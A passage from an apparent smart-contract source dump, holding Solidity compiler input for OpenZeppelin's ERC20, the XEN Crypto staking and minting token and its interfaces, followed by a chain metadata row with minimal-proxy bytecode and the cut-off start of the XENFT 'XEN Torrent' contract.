"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
49ac83760baeb8f75b4c41075dfc76b0ff50c59a
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of 